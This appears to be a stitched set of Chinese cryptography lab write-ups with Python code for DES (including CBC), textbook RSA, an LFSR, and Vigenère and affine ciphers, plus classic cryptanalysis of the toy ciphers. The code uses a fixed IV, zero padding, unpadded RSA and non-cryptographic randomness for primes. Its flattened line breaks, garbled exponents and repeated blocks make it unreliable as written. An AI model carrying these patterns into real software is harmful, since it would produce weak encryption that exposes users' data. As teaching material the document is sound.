#初始IP置换def begin_change(st): #置换表 change_list = [58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7] res ="" for i in change_list: res+=st[i-1] #因为列表是1-64,而数组是0-63,所以减一return res#IP逆置换def mov_IP(st): res = "" ip_list = [40,8,48,16,56,24,64,32,39,7,47,15,55,23,63,31,38,6,46,14,54,22,62,30,37,5,45,13,53,21,61,29,36,4,44,12,52,20,60,28,35,3,43,11,51,19,59,27,34,2,42,10,50,18,58,26,33,1,41,9,49,17,57,25] for i in ip_list: res += st[i-1]return res
加密:#封装64位加密def DESenc_test(mes,key): mes_bin = strtobin(mes)#明文转二进制 mes_IP = begin_change(mes_bin)#IP置换 key_bin = strtobin(key)#密钥转二进制 key_list = key_gen(key_bin)#生成子密钥 mes_left = mes_IP[0:32]#明文分两组32位 mes_right = mes_IP[32:] for i in range(0,15):#16轮F函数迭代 mes_tmp = mes_right right_f_res = funcF(mes_right,key_list[i]) mes_right = xor(right_f_res,mes_left) mes_left = mes_tmp fin_right = mes_right fin_left = xor(funcF(mes_right,key_list[15]),mes_left) fin = fin_left+fin_right fin = mov_IP(fin)#IP逆置换return fin#返回密文解密:#封装64位解密def DESdec_test(cipher,key): #密文直接输64位2进制 #cipher = strtobin(str) key_bin = strtobin(key) key_list = key_gen(key_bin) cipher = begin_change(cipher) i = 15 cipher_left = cipher[0:32] cipher_right = cipher[32:] while i>0: cipher_tmp = cipher_right cipher_right = xor(cipher_left,funcF(cipher_right,key_list[i])) cipher_left = cipher_tmp i = i -1 fin_left = xor(cipher_left,funcF(cipher_right,key_list[0])) fin_right = cipher_right fin = fin_left+fin_right fin = mov_IP(fin) my_plain = "" for j in range(0,len(fin),8): my_plain += chr(int(fin[j:j+8],2))return my_plain
对于DES分组加密,每次加密完的结果与下一组的明文进行异或,这就是CBC(密码分组链接模式)。
这里采用的初始向量是“aaaaaaaa”.
#cbc模式下加密def cbc_desenc(mes,key): IV="aaaaaaaa" res="" i=0 cns="" while mes[i:i+8]!="": if i==0: res+=DESenc_test(bintostr(xor(strtobin(IV),strtobin(mes[i:i+8]))),key) cns=DESenc_test(bintostr(xor(strtobin(IV),strtobin(mes[i:i+8]))),key) else: res+=DESenc_test(bintostr(xor(cns,strtobin(mes[i:i+8]))),key) cns=DESenc_test(bintostr(xor(cns,strtobin(mes[i:i+8]))),key) i=i+8return res#cbc模式下解密def cbc_desdec(cipher,key): res="" IV="aaaaaaaa" i=0 cns="" while cipher[i:i+64]!="": if i==0: res+=bintostr(xor(strtobin(DESdec_test(cipher[i:i+64],key)),strtobin(IV))) cns=cipher[i:i+64] else: res+=bintostr(xor(strtobin(DESdec_test(cipher[i:i+64],key)),cns)) cns=cipher[i:i+64] i=i+64return res
安全性争论:
S盒的设计准则还没有完全公开,人们仍然不知道S盒的构造中是否使用了进一步的设计准则
DES存在一些弱密钥和半弱密钥
DES的56位密钥无法抵抗穷举攻击
代数结构存在互补对称性
弱密钥:
给定初始密钥𝐾生成子密钥时,将种子密钥分成两个部分,如果𝐾使得这两部分的每一部分的所有位置全为0或1,则经子密钥产生器产生的各个子密钥都相同,即𝐾1=𝐾2=…=𝐾16,则称密钥𝐾为弱密钥(共有4个)
若𝐾为弱密钥,则对任意的64比特信息有:
半弱密钥:
把明文加密成相同的密文,即存在两个不同的密钥𝑘和𝑘′,使得𝐸𝑘 (𝑚)=𝐸(𝑘^′ ) (𝑚)
具有下述性质:
若𝑘和𝑘′为一对弱密钥,𝑚为明文组,则有:
互补性:
对明文𝑚逐位取补,记为𝑚 ̅,密钥𝐾逐位取补,记为𝑘 ̅ , 若𝑐=𝐸𝑘(𝑚),则有𝑐 ̅=𝐸_𝑘 ̅ (𝑚 ̅) ,称为算法上的互补性
由算法中两次异或运算的配置决定:两次异或运算一次在S盒之前,一次在P盒置换之后
若对DES 的明文和密钥同时取补,则扩展运算E的输出和子密钥产生器的输出也都取补,因而经异或运算后的输出和未取补时的输出一样,即到达S盒的输入数据未变,输出自然也不变,但经第二个异或运算时,由于左边数据已取补,因而输出也就取补
互补性使DES在选择明文攻击下所需的工作量减半(2^55)
对选择的明文𝑚和𝑚 ̅ 加密后得到密文如下:
由对称互补性可得
所以对𝑚加密,如果密文为𝑐_1,则加密密钥为𝑘, 如果密文为(𝑐_2 ) ̅,则加密密钥为𝑘 ̅
差分分析法:
通过分析特定明文差对结果密文差的影响来获得可能性最大的密钥。这种攻击方法主要适用于攻击迭代分组密码,最初是针对DES提出的一种攻击方法,虽然差分攻击方法对破译16轮的DES不能提供一种实用的方法,但对破译轮数较低的DES是很成功的。
线性分析法:
寻找一个给定密码算法的有关明文比特、密文比特和密钥比特的有效线性近似表达式,通过选择充分多的明-密文对来分析密钥的某些比特,用这种方法破译DES比差分分析方法更有效。可用247个已知明文破译8-轮DES。
三重DES:
两密钥的3DES称为加密-解密-加密方案,简记为EDE(encrypt-decrypt-encrypt)
破译它的穷举密钥搜索量为2112 量级,用差分分析破译也要超过1035sup>量级。此方案仍有足够的安全性。
#二进制转字符串def bintostr(st): res="" l=int(len(st)/8) for i in range(l): res+=chr(int(st[i*8:i*8+8],2)) return res#字符串转二进制def strtobin(st): res = "" for i in st: tmp = bin(ord(i))[2:] for i in range(0,8-len(tmp)): tmp = '0'+tmp res+=tmp return res#循环左移def zuoyiwei(st,num): my = st[num:len(st)] my = my+st[0:num] return my#异或def xor(str1,str2): res = "" for i in range(0,len(str1)): xor_res = int(str1[i],10)^int(str2[i],10) if xor_res == 1: res +='1' else: res +='0' return res#PC-1盒def key_change_1(st): key1_list = [57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4] #得到56位,去掉校验位 res = "" for i in key1_list: res+=st[i-1] return res#PC-2盒def key_change_2(st): key2_list = [14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32] #压缩置换 #去掉9,18,22,25,35,38,43,54位得到48位 res = "" for i in key2_list: res+=st[i-1] return res#16轮迭代生成子密钥def key_gen(st): key_list = []#子密钥表 key_change_res = key_change_1(st) #PC-1置换分成C,D两块 key_c = key_change_res[0:28] key_d = key_change_res[28:] for i in range(1,17): #共16轮 if (i==1) or (i==2) or (i==9) or (i==16):#按轮数循环左移 key_c = zuoyiwei(key_c,1) key_d = zuoyiwei(key_d,1) else: key_c = zuoyiwei(key_c,2) key_d = zuoyiwei(key_d,2) key_yiwei = key_c+key_d #压缩置换 key_res = key_change_2(key_yiwei) key_list.append(key_res) return key_list#初始IP置换def begin_change(st): #置换表 change_list = [58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7] res ="" for i in change_list: res+=st[i-1] #因为列表是1-64,而数组是0-63,所以减一 return res#E盒扩展置换,将32位输出扩展至48位def box_e(st): #E盒置换表 e_list = [32,1,2,3,4,5,4,5,6,7,8,9,8,9,10,11,12,13,12,13,14,15,16,17,16,17,18,19,20,21,20,21,22,23,24,25,24,25,26,27,28,29,28,29,30,31,32,1] res = "" for i in e_list: res +=st[i-1] return res#S盒代换盒def box_s(st): j = 0 #8个S盒代换表 s_list = [[14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7,0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8,4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13], [15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10,3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9], [10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8,13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7,1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12], [7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4,3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14], [2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14,11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3], [12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11,10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8,9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6,4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13], [4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1,13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6,1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2,6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12], [13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7,1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2,7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11]] res = "" for i in range(0,len(st),6):#6位输入,4位输出 begin_s = st[i:i+6] row = int(begin_s[0]+begin_s[5],2) col = int(begin_s[1:5],2) num = bin(s_list[j][row*16+col])[2:] for padd in range(0,4-len(num)): num = "0"+num res += num j = j+1 return res#P盒置换def box_p(st): res = "" p_list = [16,7,20,21,29,12,28,17,1,15,23,26,5,18,31,10,2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25] for i in p_list: res +=st[i-1] return res#封装成F函数def funcF(st,key): str_e_res = box_e(st) xor_res = xor(str_e_res,key) str_s_res = box_s(xor_res) str_p_res = box_p(str_s_res) return str_p_res#IP逆置换def mov_IP(st): res = "" ip_list = [40,8,48,16,56,24,64,32,39,7,47,15,55,23,63,31,38,6,46,14,54,22,62,30,37,5,45,13,53,21,61,29,36,4,44,12,52,20,60,28,35,3,43,11,51,19,59,27,34,2,42,10,50,18,58,26,33,1,41,9,49,17,57,25] for i in ip_list: res += st[i-1] return res#封装64位加密def DESenc_test(mes,key): mes_bin = strtobin(mes)#明文转二进制 mes_IP = begin_change(mes_bin)#IP置换 key_bin = strtobin(key)#密钥转二进制 key_list = key_gen(key_bin)#生成子密钥 mes_left = mes_IP[0:32]#明文分两组32位 mes_right = mes_IP[32:] for i in range(0,15):#16轮F函数迭代 mes_tmp = mes_right right_f_res = funcF(mes_right,key_list[i]) mes_right = xor(right_f_res,mes_left) mes_left = mes_tmp fin_right = mes_right fin_left = xor(funcF(mes_right,key_list[15]),mes_left) fin = fin_left+fin_right fin = mov_IP(fin)#IP逆置换 return fin#返回密文#Alice_bobdef DESenc_ab(mes,key): mes_bin = strtobin(mes)#明文转二进制 mes_IP = begin_change(mes_bin)#IP置换 key_bin = key#密钥转二进制 key_list = key_gen(key_bin)#生成子密钥 mes_left = mes_IP[0:32]#明文分两组32位 mes_right = mes_IP[32:] for i in range(0,15):#16轮F函数迭代 mes_tmp = mes_right right_f_res = funcF(mes_right,key_list[i]) mes_right = xor(right_f_res,mes_left) mes_left = mes_tmp fin_right = mes_right fin_left = xor(funcF(mes_right,key_list[15]),mes_left) fin = fin_left+fin_right fin = mov_IP(fin)#IP逆置换 return fin#返回密文#封装64位解密def DESdec_test(cipher,key): #密文直接输64位2进制 #cipher = strtobin(str) key_bin = strtobin(key) key_list = key_gen(key_bin) cipher = begin_change(cipher) i = 15 cipher_left = cipher[0:32] cipher_right = cipher[32:] while i>0: cipher_tmp = cipher_right cipher_right = xor(cipher_left,funcF(cipher_right,key_list[i])) cipher_left = cipher_tmp i = i -1 fin_left = xor(cipher_left,funcF(cipher_right,key_list[0])) fin_right = cipher_right fin = fin_left+fin_right fin = mov_IP(fin) my_plain = "" for j in range(0,len(fin),8): my_plain += chr(int(fin[j:j+8],2)) return my_plain#alice_bobdef DESdec_ab(cipher,key): #密文直接输64位2进制 #cipher = strtobin(str) key_bin = key key_list = key_gen(key_bin) cipher = begin_change(cipher) i = 15 cipher_left = cipher[0:32] cipher_right = cipher[32:] while i>0: cipher_tmp = cipher_right cipher_right = xor(cipher_left,funcF(cipher_right,key_list[i])) cipher_left = cipher_tmp i = i -1 fin_left = xor(cipher_left,funcF(cipher_right,key_list[0])) fin_right = cipher_right fin = fin_left+fin_right fin = mov_IP(fin) my_plain = "" for j in range(0,len(fin),8): my_plain += chr(int(fin[j:j+8],2)) return my_plain#DES加密def DESenc(mes,key): res = "" i = 0 while mes[i:i+8] != "": res += DESenc_test(mes[i:i+8],key) i = i+8 return res#alice_bobdef DESenc_a(mes,key): res = "" res += DESenc_ab(mes,key) return res#DES解密def DESdec(cipher,key): res = "" i = 0 while cipher[i:i + 64] != "": res += DESdec_test(cipher[i:i + 64], key) i = i + 64 return res#cbc模式下加密def cbc_desenc(mes,key): IV="aaaaaaaa" res="" i=0 cns="" while mes[i:i+8]!="": if i==0: res+=DESenc_test(bintostr(xor(strtobin(IV),strtobin(mes[i:i+8]))),key) cns=DESenc_test(bintostr(xor(strtobin(IV),strtobin(mes[i:i+8]))),key) else: res+=DESenc_test(bintostr(xor(cns,strtobin(mes[i:i+8]))),key) cns=DESenc_test(bintostr(xor(cns,strtobin(mes[i:i+8]))),key) i=i+8 return res#cbc模式下解密def cbc_desdec(cipher,key): res="" IV="aaaaaaaa" i=0 cns="" while cipher[i:i+64]!="": if i==0: res+=bintostr(xor(strtobin(DESdec_test(cipher[i:i+64],key)),strtobin(IV))) cns=cipher[i:i+64] else: res+=bintostr(xor(strtobin(DESdec_test(cipher[i:i+64],key)),cns)) cns=cipher[i:i+64] i=i+64 return res#maindef main(): m = input("Please enter your plaintext:\n\t") lm = len(m) # 若不是8的倍数,则用0填充 lm_mod = lm % 8 if lm_mod != 0: FillLength = 8 - lm_mod m += FillLength * "0"#padding lm += FillLength k = input("Please enter your key:\n\t") c_t=bintostr(DESenc(m,k)) print("DES:\n\t",c_t) print("CBC_DES:\n\t",bintostr(cbc_desenc(m,k))) '''c = input("Please enter your ciphertext:\n\t") k_1 = input("Please enter your key:\n\t") print(DESdec(strtobin(c),k_1))''' print("DES解密\n\t",DESdec(DESenc(m,k),k)) c2= input("Please enter your cbc_ciphertext:\n\t") k_2=input("Please enter your key:\n\t") print(cbc_desdec(cbc_desenc(m,k),k_2))if __name__ == '__main__':main()实验四RSA加密import randomdef FastMod(x, n, m): a = 1 b = x while True: temp = n if n % 2 == 1 : a = a * b % m b = b * b % m n = n//2 if temp < 1 : return adef computeD(e, phi_n): (x, y, r) = extendedGCD(phi_n, e) if y < 0: return phi_n + y return ydef extendedGCD(a, b): if b == 0: return (1, 0, a) x1 = 1 y1 = 0 x2 = 0 y2 = 1 while b != 0: q = a // b r = a % b a = b b = r x = x1 - q*x2 x1 = x2 x2 = x y = y1 - q*y2 y1 = y2 y2 = y return(x1, y1, a)def str2Hex(m): return "".join("{:02x}".format(ord(x)) for x in m)# 素性检验:采用 Miler-Rabin 检验法def miller_rabin(n,k=80): if n == 2 or n == 3: return True if n % 2 == 0: return False r, s = 0, n - 1 while s % 2 == 0: r += 1 s //= 2 for _ in range(k): a = random.randrange(2, n - 1) x = pow(a, s, n) if x == 1 or x == n - 1: continue for _ in range(r - 1): x = pow(x, 2, n) if x == n - 1: break else: return False return True# 生成 b 位的素数def genPrime(b=1024): while True: # the highest bit is 1 ans = "1" for i in range(b-2): ans += str(random.randint(0,1)) # the lowest bit is 1 ans += "1" ans = int(ans,2) if miller_rabin(ans): return ansdef genE(phi_n): while True: e = genPrime(b=random.randint(3,13)) if e == 3 or e == 5: continue if phi_n%e != 0: return edef RSAEncrypt(m,n,e): m = int(str2Hex(m),16) c = pow(m,e,n) return cdef RSADecrypt(c,d,n): m = pow(c,d,n) m = bytes.fromhex('{:x}'.format(m)) return mdef main(): # 生成两个大素数p和q print ("Generate p and q ......") p = genPrime() q = genPrime() print ("p = "+str(p)) print ("q = "+str(q)) # 计算n = p*q n = p*q print ("n = "+str(n)) # 计算φ(n) = p*q phi_n = (p-1)*(q-1) print ("\nGenerate e ......") # 生成一个和φ(n)互素的数e e = genE(phi_n) print ("e = "+str(e)) m = "Hello world!" # 加密算法 print ("\n"+8*"*"+" Encryption "+8*"*") Ciphertext = RSAEncrypt(m,n,e) print ("The Ciphertext is:\n\t"+str(Ciphertext)) # 解密算法 print ("\n"+8*"*"+" Decryption "+8*"*") # 使用私钥d,d是e模φ(n)的逆 d = computeD(e,phi_n) print ("d = "+str(d)) Plaintext = RSADecrypt(Ciphertext,d,n) print ("The Plaintext is:\n\t"+str(Plaintext))if __name__ == '__main__':main()
]]>选择一个15次以上的不可约多项式,编写一个线性反馈移位寄存器。验证生成序列的周期。
利用python数组的pop操作可以实现移位的效果,将反馈函数写成0,1数组,便可以实现反馈效果。
def lfsr(lst, k,key): temp_l= lst[:] temp_k= key[:] for i in range(k): #temp.append(temp.pop(0)) k_out=0 for j in range(18): if(temp_k[j]==1): k_out+=(temp_k[j]+temp_l[j])%2 k_out=k_out%2 #print(k_out) temp_l.pop(0) temp_l.append(k_out) print("当前寄存器值:",temp_l,"循环次数:",i+1,temp_l==lst) #return tempdef main(): lst=[0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1,0,1] k=262146 key=[1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0] lfsr(lst,k,key)print(len(key))
18次线性移位寄存器,当运行到周期次数时开始重复。
寄存器初始值:[0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,1,0,1]
本原多项式:[1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0]
由算法的实现可知,序列密码算法的加解密对种子秘钥的依赖十分强烈。故需要保证种子秘钥的安全性。对于此可进行相关攻击。
可以进行穷举搜素攻击,故为了保证安全强度,要求秘钥长度足够长。
弱密钥攻击,弱密钥会产生重复的密钥流,一旦子密钥序列出现了重复,密文就有可能被破解。
序列密码具有实现简单、便于硬件实施、加解密处理速度快、没有或只有有限的错误传播等特点,因此在实际应用中,特别是专用或机密机构中保持着优势,序列密码是一个随时间变化的加密变换,具有转换速度快、低错误传播的优点,硬件实现电路更简单。
]]>维吉尼亚密码是一种简单的多表代换密码,可以看成由一些偏移量不同的恺撒密码组成。为了掩盖字母使用中暴露的频率特征,解决的办法就是用多套符号代替原来的文字。它是一个表格,第一行代表原文的字母,下面每一横行代表原文分别由哪些字母代替,每一竖列代表我们要用第几套字符来替换原文。一共26个字母,一共26套代替法,所以这个表是一个26*26的表 .
若密钥长度小于明文长度,则密钥循环使用
def VigenereEncrypt(m,k): k = k.upper() lm = len(m) lk = len(k) j = 0 ans = "" for i in range(lm): if m[i].isupper(): ans += chr(((ord(m[i])-ord('A'))%26+(ord(k[j%lk])-ord('A'))%26)%26+ord('A')) j += 1 elif m[i].islower(): ans += chr(((ord(m[i])-ord('a'))%26+(ord(k[j%lk])-ord('A'))%26)%26+ord('a')) j += 1 else: ans += m[i]return ans
def VigenereDecrypt(c,k): k = k.upper() lc = len(c) lk = len(k) j = 0 ans = "" for i in range(lc): if c[i].isupper(): ans += chr(((ord(c[i])-ord('A'))%26+26-(ord(k[j%lk])-ord('A'))%26)%26+ord('A')) j += 1 elif c[i].islower(): ans += chr(((ord(c[i])-ord('a'))%26+26-(ord(k[j%lk])-ord('A'))%26)%26+ord('a')) j += 1 else: ans += c[i]return ans
破译维吉尼亚密码的关键在于它的密钥是循环重复的。如果我们知道了密钥的长度,那密文就可以被看作是交织在一起的凯撒密码,而其中每一个都可以单独破解。
多表代换密码体制的分析方法主要分为三步:第一步确定秘钥长度,常用的方法有卡西斯基(Kasiski)测试法和重合指数法(Index of Coincidence);第二步就是确定秘钥,常用的方法是拟重合指数测试法;第三步是根据第二步确定的密钥恢复出明文。
卡西斯基试验是基于类似 the 这样的常用单词有可能被同样的密钥字母进行加密,从而在密文中重复出现。如果将密文中所有相同的字母组都找出来,并计算他们的最大公因数,就有可能提取出来密钥长度信息。
测试过程:搜索长度至少为2的相邻的一对对相同的密文段,记下它们之间的距离。而密钥长度d可能就是这些距离的最大公因子
利用随机文本和英文文本的统计概率差别来分析密钥长度。依据:英文中每种单词出现的频率不同。
重合指数公式:
人们已经获得了英文的26个字母的概率分布的一个估计。期望值为:
将密文按n来分组,当每组的重合指数都接近0.065时,n便为密钥的长度值
def chzs(input): #定义重合指数法 num_list = [0]*26 for i in range(0,len(input)): ord_input = ord(input[i])-97 num_list[ord_input] +=1 n = len(input) res = 0 for i in range(0,26): res += num_list[i]*(num_list[i]-1) return float(res)/((n)*n)def len_key(input):#计算密钥长度 may_d = 0 index_d = 0 for d in range(1,10): str_list = [""] * d for i in range(0,len(input)): str_list[i%d] += input[i] ch_sum = 0 ch_time = 0 for k in range(0, len(str_list)): if str_list[k] !="": ch_sum += chzs(str_list[k]) ch_time +=1 print(chzs(str_list[k])) print(str_list[k]) print(d) k1 = abs(ch_sum / ch_time - 0.065) k2 = abs(may_d - 0.065) if k1<k2: #取最接近0.065的 may_d = ch_sum / ch_time index_d = dreturn index_d
重合互指数用于确定密钥字。
假定𝑥=𝑥1𝑥2 … 𝑥𝑛和𝑦=𝑦1 𝑦2…𝑦𝑛′,分别是长为𝑛和𝑛’的字符串。𝑥和𝑦的重合互指数是指𝑥的一个随机元素等于𝑦的一个随机元素的概率,记为𝑀𝐼𝑐(𝑥,𝑦)
将𝑥和𝑦中的字母A,B,C,……,Z出现的次数分别表示为𝑓0,𝑓1,……,𝑓25和𝑓0′, 𝑓1′,⋯,𝑓25′, 那么
def xd_d(input): #相对位移 #pi频率表 pi=[0.082,0.015,0.028,0.043,0.127,0.022,0.02,0.061,0.07,0.002,0.008,0.04,0.024,0.067,0.075,0.019,0.001,0.06,0.063,0.091,0.028,0.01,0.023,0.001,0.02,0.001] print(pi) key_len = len_key(input) print("密钥长度:",key_len) d_list = [0]*key_len #weiyi = [0]*key_len str_list = [""]*key_len#根据密钥长度分组 for i in range(0,len(input)): str_list[i%key_len] += input[i] for i in range(0,key_len):#查看分组结果和计算每个分组长度 print(str_list[i],"长度:",len(str_list[i])) d_list[i]=len(str_list[i]) for i in range(0,key_len):#找第i组的相对位移 num_list_i = [0] * 26#每个字母出现的次数 for k in str_list[i]:#计算i组每个字母出现次数 i_c = ord(k) - 97 num_list_i[i_c] += 1 may_mc=0 may_d=0 for j in range(0,26):#位移长度 mc=0 for l in range(0,26):#计算最接近0.065的互重合指数 mc+=pi[l]*float(num_list_i[(l+j)%26]/d_list[i]) if(abs(mc-0.065)<=abs(may_mc-0.065)): may_mc=mc may_d=j print(i,"组:",may_mc,chr(97+may_d))
加密:
解密:
重合指数:
多表代换密码打破了原语言的字符出现规律,故其分析方法比单表代换密码复杂得多。多表代换密码对比单表代换密码安全性显著提高。但是仍然可以用一些统计分析法破解(具体参看上文攻击方法),但是前提是密文足够长。所以,较短的密文几乎是不可破译的。较长的密文是很容易破解的。
仿射密码属于单表代换密码,它使用线性方程加上一个模数。
前提条件是:k1 和 26 互素
通过密文,列举出所有可能的明文(一共 311 种情况),从中找出有特定标识或构成自然语言中有意义的单词或短语的正确明文。
def BruteAffineDecrypt(c): for k1 in range(26): if gcd(k1,26) == 1: for k2 in range(26): print ("k1 = "+str(k1).zfill(2)+", k2 = "+str(k2).zfill(2)+": "+AffineDecrypt(c,k1,k2))
结果:
统计密文中字母的出现次数和频率,从出现频率最高的几个字母及双字母组合、三字母组合开始,并假定它们是英语中出现频率较高的字母及字母组合对应的密文,逐步推测各密文字母对应的明文字母。
def pinlv(input): num_list = [0]*26 for i in range(0,len(input)): ord_input = ord(input[i])-97 num_list[ord_input] +=1 n = len(input) x=[] y=[] for i in range(0,26): x.append(chr(97+i)) y.append(float(num_list[i]/n)) plt.bar(x, y, 0.4, color="green") plt.xlabel("Letters") plt.ylabel("Frequency") plt.title("Frequency analysis")plt.show()
def VigenereEncrypt(m,k): k = k.upper() lm = len(m) lk = len(k) j = 0 ans = "" for i in range(lm): if m[i].isupper(): ans += chr(((ord(m[i])-ord('A'))%26+(ord(k[j%lk])-ord('A'))%26)%26+ord('A')) j += 1 elif m[i].islower(): ans += chr(((ord(m[i])-ord('a'))%26+(ord(k[j%lk])-ord('A'))%26)%26+ord('a')) j += 1 else: ans += m[i] return ans# Decryptiondef VigenereDecrypt(c,k): k = k.upper() lc = len(c) lk = len(k) j = 0 ans = "" for i in range(lc): if c[i].isupper(): ans += chr(((ord(c[i])-ord('A'))%26+26-(ord(k[j%lk])-ord('A'))%26)%26+ord('A')) j += 1 elif c[i].islower(): ans += chr(((ord(c[i])-ord('a'))%26+26-(ord(k[j%lk])-ord('A'))%26)%26+ord('a')) j += 1 else: ans += c[i] return ans# Main functiondef main(): while True: op = input("What do you want to do?\n[E]Encryption [D]Decryption\n").upper() if op[0] == "E": s = input("Please enter your plaintext:\n\t") k = input("Please enter your key:\n\t") # s = "plaintext" # k = "key" print (8*"*"+" Encryption "+8*"*") Encryption = VigenereEncrypt(s,k) print ("The Ciphertext is:\n\t"+Encryption) break elif op[0] == "D": s = input("Please enter your ciphertext:\n\t") k = input("Please enter your key:\n\t") # s = "ciphertext" # k = "key" print (8*"*"+" Decryption "+8*"*") Decryption = VigenereDecrypt(s,k) print ("The Plaintext is:\n\t"+Decryption) break else: continueif __name__ == '__main__':main()
def chzs(input): #定义重合指数法 num_list = [0]*26 for i in range(0,len(input)): ord_input = ord(input[i])-97 num_list[ord_input] +=1 n = len(input) res = 0 for i in range(0,26): res += num_list[i]*(num_list[i]-1) return float(res)/((n)*n)def len_key(input):#计算密钥长度 may_d = 0 index_d = 0 for d in range(1,10): str_list = [""] * d for i in range(0,len(input)): str_list[i%d] += input[i] ch_sum = 0 ch_time = 0 for k in range(0, len(str_list)): if str_list[k] !="": ch_sum += chzs(str_list[k]) ch_time +=1 print(chzs(str_list[k])) print(str_list[k]) print(d) k1 = abs(ch_sum / ch_time - 0.065) k2 = abs(may_d - 0.065) if k1<k2: #取最接近0.065的 may_d = ch_sum / ch_time index_d = d return index_ddef xd_d(input): #相对位移 #pi频率表 pi=[0.082,0.015,0.028,0.043,0.127,0.022,0.02,0.061,0.07,0.002,0.008,0.04,0.024,0.067,0.075,0.019,0.001,0.06,0.063,0.091,0.028,0.01,0.023,0.001,0.02,0.001] print(pi) key_len = len_key(input) print("密钥长度:",key_len) d_list = [0]*key_len #weiyi = [0]*key_len str_list = [""]*key_len#根据密钥长度分组 for i in range(0,len(input)): str_list[i%key_len] += input[i] #print("****",len(d_list)) for i in range(0,key_len):#查看分组结果和计算每个分组长度 print(str_list[i],"长度:",len(str_list[i])) d_list[i]=len(str_list[i]) #sll = len(str_list) for i in range(0,key_len):#找第i组的相对位移 num_list_i = [0] * 26#每个字母出现的次数 for k in str_list[i]:#计算i组每个字母出现次数 i_c = ord(k) - 97 num_list_i[i_c] += 1 may_mc=0 may_d=0 for j in range(0,26):#位移长度 mc=0 for l in range(0,26):#计算最接近0.065的互重合指数 mc+=pi[l]*float(num_list_i[(l+j)%26]/d_list[i]) if(abs(mc-0.065)<=abs(may_mc-0.065)): may_mc=mc may_d=j #print(mc) print(i,"组:",may_mc,chr(97+may_d)) returndef main(): s=input("Please enter your ciphertext:\n\t") xd_d(s)if __name__ == '__main__':main()
import numpy as npimport matplotlib.mlab as mlabimport matplotlib.pyplot as pltdef pinlv(input): num_list = [0]*26 for i in range(0,len(input)): ord_input = ord(input[i])-97 num_list[ord_input] +=1 n = len(input) x=[] y=[] for i in range(0,26): x.append(chr(97+i)) y.append(float(num_list[i]/n)) plt.bar(x, y, 0.4, color="green") plt.xlabel("Letters") plt.ylabel("Frequency") plt.title("Frequency analysis") plt.show()def main(): s = input("Please enter your ciphertext:\n\t") pinlv(s)if __name__ == '__main__':main()
def gcd(a,b): if a%b == 0: return b return gcd(b,a%b)def findModReverse(a,m): if gcd(a,m)!=1: return None u1,u2,u3 = 1,0,a v1,v2,v3 = 0,1,m while v3!=0: q = u3//v3 v1,v2,v3,u1,u2,u3 = (u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3 return u1%mdef AffineDecrypt(c,k1,k2): k2 %= 26 if gcd(k1,26) != 1: print("k1 and 26 are not mutually prime, and decryption fails.") return k1 = findModReverse(k1,26) l = len(c) ans = "" for i in range(l): if c[i].isupper(): ans += chr((k1*(ord(c[i])-ord('A')+26-k2))%26+ord('A')) elif c[i].islower(): ans += chr((k1*(ord(c[i])-ord('a')+26-k2))%26+ord('a')) else: ans += c[i] return ansdef BruteAffineDecrypt(c): for k1 in range(26): if gcd(k1,26) == 1: for k2 in range(26): print ("k1 = "+str(k1).zfill(2)+", k2 = "+str(k2).zfill(2)+": "+AffineDecrypt(c,k1,k2))def main(): s = input("Please enter your plaintext:\n\t") print (7 * "*" + " Attack " + 7 * "*") BruteAffineDecrypt(s)if __name__ == '__main__':main()
]]>编写一个多线程程序,在其中实现两个定时线程,一个线程每隔1秒显示一次秒数,另一个每隔3秒显示一次字母(a,b,…)。
